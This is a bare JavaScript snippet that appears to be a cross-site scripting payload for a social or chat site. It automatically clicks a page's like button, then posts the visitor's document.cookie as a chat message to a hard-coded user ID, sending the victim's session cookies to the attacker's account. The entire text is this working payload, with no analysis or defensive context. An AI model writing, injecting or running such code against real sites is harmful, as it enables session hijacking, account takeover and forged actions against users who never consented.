var likeButton = document.querySelector(".like-button"); if (likeButton) { likeButton.click(); } $.ajax({url: '/chat/send',type: "POST", dataType: "json", data: {message: document.cookie, user_id: "292427104"}});